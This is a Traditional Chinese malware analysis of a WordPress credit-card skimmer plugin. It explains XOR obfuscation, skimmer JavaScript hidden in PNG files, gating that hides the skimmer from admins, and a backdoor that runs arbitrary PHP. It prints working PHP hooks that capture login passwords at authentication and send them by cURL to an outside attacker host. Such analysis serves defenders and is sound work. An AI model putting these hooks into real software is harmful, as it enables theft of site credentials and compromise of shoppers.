惡意程式隱藏與混淆
該惡意程式是作為一個惡意 WordPress 外掛被部署的,這是將 malicious payload 與合法網站元件混合的常見策略。外掛的結構本身設計用於隱匿,由兩個 PHP 檔案和兩個看似無害的 PNG 檔案組成。使用亂數、三個詞的命名規則來命名外掛資料夾和主檔案(例如,
license-user-kit
)是一種簡單但有效的方法,可規避基於簽章的偵測和人工審查 [1]。
不幸地,架構在內容管理系統 (Content Management Systems, CMS) 如 WordPress 上的電子商務平台不斷普及,也導致了複雜網路威脅的相應增加。在這些威脅中,信用卡側錄程式(通常被稱為 Magecart 攻擊)對線上商家和消費者構成了重大風險。本報告針對最近發現的一場多層次信用卡側錄活動,提供了詳細的技術分析,重點介紹了其混淆技術、持久性機制、 Credential 盜取方法和後門功能,這在最近的安全報告 [1] 中有所記載。
惡意程式隱藏與混淆
惡意程式規避策略的核心要素是其對字串、函式名稱和變數名稱的廣泛混淆運用。雖然識別符號的隨機生成使靜態分析複雜化,但主要的字串混淆依賴於一種簡單、可逆的 XOR 加密。此技術確保敏感字串,例如資料庫表格名稱或 WooCommerce 表單欄位名稱,不會立即在原始碼中可見,從而繞過基本的內容標記工具。該機制涉及一個共享金鑰和一個十六進位編碼的輸入字串,如下方的解混淆函式所示:
- // PHP function for string de-obfuscation using XOR cipher
- // The function takes a hex-encoded string and a key, then performs a byte-by-byte XOR operation.
- function fn_obfuscated_text($input, $key) {
- // 1. Convert the hexadecimal input string back to binary data.
- $data = hex2bin($input);
- $output = '';
- // 2. Iterate through the data bytes.
- for ($i = 0; $i < strlen($data); $i++) {
- // 3. Perform XOR operation on the current data byte and the key byte.
- // The key is reused (wrapped) if it is shorter than the data.
- $output .= chr(ord($data[$i]) ^ ord($key[$i % strlen($key)]));
- }
- // 4. Return the de-obfuscated string (e.g., "billing_first_name").
- return $output;
- }
最值得注意的隱藏技術是使用虛假的 PNG 檔案來儲存 malicious payload JavaScript。這些檔案是有效的 PNG 影像,但側錄程式碼卻被附加在檔案的末尾。此方法利用了網頁伺服器和瀏覽器常用的處理靜態資產的方式。瀏覽器會繪製影像,忽略尾隨的資料,而 PHP 惡意程式可以讀取檔案內容,提取附加的程式碼,並將其注入到目標電子商務頁面中。這種多層次的 Payload 傳輸方法顯著增加了傳統檔案完整性監控和安全掃描程式的偵測難度 [1]。
持久性和權限規避
一旦啟動,惡意程式會立即建立一個強大的持久層。它將自己從標準的 WordPress 外掛清單中隱藏起來,使其對執行常規檢查的網站管理員不可見。此外,它實作了一種機制來追蹤具有權限的使用者,這對於在攻擊生命週期中保持低調至關重要。此追蹤是透過監控具有
edit_posts
權限(作者及以上)的使用者,並將其 IP 位址和上次登入時間記錄在自訂的資料庫選項中。一個持久性 cookie,
pxcelPage_c01002
,也會為這些使用者設定 [1]。
此追蹤的目的是阻止信用卡側錄程式碼傳輸給管理使用者。透過檢查此 cookie 或使用者 IP 是否存在於資料庫中,惡意程式可以選擇性地對具有權限的帳號停用側錄程式碼注入。這種選擇性目標鎖定,通常被稱為「閘門」機制,是一種複雜的反偵測措施,旨在確保網站管理員和安全研究人員不會無意中觸發或觀察到惡意行為,從而讓攻擊活動得以持續更長時間。
下圖說明了權限規避的流程:
多階段 Credential 盜取
惡意程式採用兩階段 process 來盜取 Login Credential,目標鎖定管理帳號。此技術設計用於在登入完全驗證之前擷取密碼,然後僅在成功登入後才將資料傳輸出去,確保所擷取的 Credential 是有效的。第一階段使用
wp_authenticate_user
篩選器(filter)在驗證完成前攔截密碼。密碼經過 Base64 編碼並暫時儲存在名為
wp_tdata
的 cookie 中 [1]。
- // Stage 1: Intercepting the password before authentication
- add_filter("wp_authenticate_user", "fn_intercept_credentials", 10, 2);
- function fn_intercept_credentials($user_obj, $password) {
- // Check if authentication has already failed.
- if (is_wp_error($user_obj)) {
- return $user_obj;
- }
- $creds_cookie = "wp_tdata";
- // Store the password, Base64-encoded, in a temporary cookie.
- $_COOKIE[$creds_cookie] = base64_encode($password);
- return $user_obj;
- }
第二階段由
wp_login
action 觸發,此 action 僅在成功登入後執行。此行動從 cookie 中取出儲存的密碼,將其與使用者名稱、主機和請求 URI 結合,然後透過 cURL 請求將整個 Payload 傳輸到遠端伺服器(例如,
hxxps://badping.info/SMILODON/index_b.php
)。傳輸 Payload 經過重重編碼,首先將資料用分號串接,然後對整個字串進行 Base64 編碼,最後對
+
character 進行 URL 編碼,以確保作為查詢參數安全傳輸 [1]。
- // Stage 2: Exfiltrating credentials upon successful login
- add_action("wp_login", "exfiltrate_credentials", 10, 2);
- function exfiltrate_credentials($user_login, $user_obj) {
- $exfil_server = "hxxps://badping.info/SMILODON/index_b.php?view=";
- $creds_cookie = "wp_tdata";
- // Check for the temporary password cookie.
- if (!isset($_COOKIE[$creds_cookie]))
- return;
- $request_uri = $_SERVER["REQUEST_URI"];
- // 1. Combine username and password (decoded from cookie) and Base64 encode.
- $user_data = base64_encode($user_login.";".base64_decode($_COOKIE[$creds_cookie]));
- // 2. Combine host, request URI, user data, and a placeholder IP, then Base64 encode.
- $curl_data = base64_encode($_SERVER["HTTP_HOST"] . ";". $request_uri . ";". $user_data . ";127.0.0.1");
- // 3. URL-encode '+' characters for safe transmission in the query string.
- $curl_data = str_replace("+", "%2b", $curl_data);
- // 4. Send the data to the exfiltration server using cURL.
- if (function_exists("curl_init")) {
- $curl_request = curl_init($exfil_server . $curl_data);
- // ... cURL options setup ...
- @curl_exec($curl_request);
- }
- }
後門和命令與控制 (C2) 基礎架構
惡意程式透過兩個不同的基於 AJAX 的後門端點建立了一個複雜的命令與控制 (C2) 通道。這些端點利用自訂的、基於 cookie 的認證機制,繞過標準的 WordPress 認證流程。這種設計允許攻擊者即使在 WordPress 安裝程式被入侵或攻擊者沒有有效使用者 Credential 的情況下,只要知道特定的 cookie key ,就可以與惡意程式互動 [1]。
第一個通道專門用於管理側錄程式的 JavaScript Payload 。它支援兩種更新側錄程式的方法:一種是拉取機制(pull mechanism),攻擊者設定一個指向新 Payload URL 的 cookie;另一種是推送機制(push mechanism),原始 Payload 透過 POST Request 傳輸。這種靈活性確保了攻擊者可以快速更新側錄程式碼,以適應新的安全措施或鎖定不同的電子商務表單。
第二個,也是更關鍵的通道,為攻擊者提供了執行任意 PHP 程式碼的能力。這是透過將攻擊者提供的程式碼寫入臨時檔案,然後執行它來實現的。此功能將側錄程式從一個被動的資料收集器轉變為一個成熟的遠端存取木馬 ( RAT ),授予攻擊者對被滲透伺服器的完全控制權。程式碼執行機制是 web shell 或後門功能的經典範例,旨在實現最大影響和最小的偵測足跡。
惡意程式的整體架構可以概念化為一個多層次的系統,如下圖所示:
總結
這種多層次的信用卡側錄程式代表了電子商務惡意程式的一次重大演變。它結合了複雜的混淆、Payload 隱藏在合法影像檔案 中、選擇性地鎖定非管理使用者,以及兩階段 Credential 盜取 process,顯示了 Threat actor 具有高度的操作安全意識。包含一個強大的基於 AJAX 的後門用於任意程式碼執行,將威脅從一個簡單的側錄程式提升為一個持久、高效能的遠端存取工具。對這些元件的技術分析強調了安全措施的必要性,這些措施必須超越簡單的檔案完整性檢查,需要深度封包檢測、行為分析以及對 WordPress hook 和核心功能的預防性監控,才能偵測和減輕此類進階威脅。
此惡意程式中觀察到的技術複雜性,特別是使用自訂加密和多階段傳輸,與其他 Magecart 式攻擊的趨勢一致,其中攻擊者不斷創新以繞過安全防禦。對 WordPress 特定 hook 的依賴以及對外掛架構的利用,突顯了持續強化 CMS 環境安全的需求 [2]。